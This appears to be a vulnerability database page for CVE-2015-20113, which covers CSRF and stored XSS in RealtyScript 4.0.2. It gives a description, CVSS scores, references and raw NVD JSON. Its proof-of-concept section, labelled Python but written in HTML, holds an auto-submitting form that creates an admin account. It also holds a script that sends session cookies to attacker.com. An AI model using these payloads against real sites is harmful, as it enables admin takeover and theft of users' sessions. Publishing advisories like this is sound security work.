CVE-2015-20113

Description

Next Click Ventures RealtyScript 4.0.2 contains cross-site request forgery and persistent cross-site scripting vulnerabilities that allow attackers to perform administrative actions and inject malicious scripts. Attackers can craft malicious web pages that execute unauthorized actions when logged-in users visit them, or inject persistent scripts that execute in the application context.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nextclickventures:realtyscript:4.0.2:*:*:*:*:*:*:* - VULNERABLE

Next Click Ventures RealtyScript 4.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html> <body> <h1>RealtyScript CSRF Exploit - Add Admin</h1> <form action="http://target.com/admin/users/add" method="POST" id="exploit"> <input type="hidden" name="username" value="attacker"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="role" value="admin"> <input type="hidden" name="submit" value="1"> </form> <script>document.getElementById('exploit').submit();</script> </body> </html>   <script> var cookie = document.cookie; var img = new Image(); img.src = "http://attacker.com/steal?c=" + encodeURIComponent(cookie); </script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2015-20113
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2015-20113
[3] CVE Details https://www.cvedetails.com/cve/CVE-2015-20113/
[4] VulDB https://vuldb.com/cve/CVE-2015-20113
[5] https://www.exploit-db.com/exploits/38496
[6] https://www.vulncheck.com/advisories/realtyscript-multiple-cross-site-request-forgery
[7] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5269.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2015-20113", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:17:46.370", "lastModified": "2026-03-19T13:58:25.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next Click Ventures RealtyScript 4.0.2 contains cross-site request forgery and persistent cross-site scripting vulnerabilities that allow attackers to perform administrative actions and inject malicious scripts. Attackers can craft malicious web pages that execute unauthorized actions when logged-in users visit them, or inject persistent scripts that execute in the application context."}, {"lang": "es", "value": "Next Click Ventures RealtyScript 4.0.2 contiene vulnerabilidades de falsificación de petición en sitios cruzados y de cross-site scripting persistente que permiten a los atacantes realizar acciones administrativas e inyectar scripts maliciosos. Los atacantes pueden crear páginas web maliciosas que ejecutan acciones no autorizadas cuando los usuarios autenticados las visitan, o inyectar scripts persistentes que se ejecutan en el contexto de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextclickventures:realtyscript:4.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "237FBCF4-383B-4460-82EF-FC61A749D53B"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/38496", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/realtyscript-multiple-cross-site-request-forgery", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5269.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}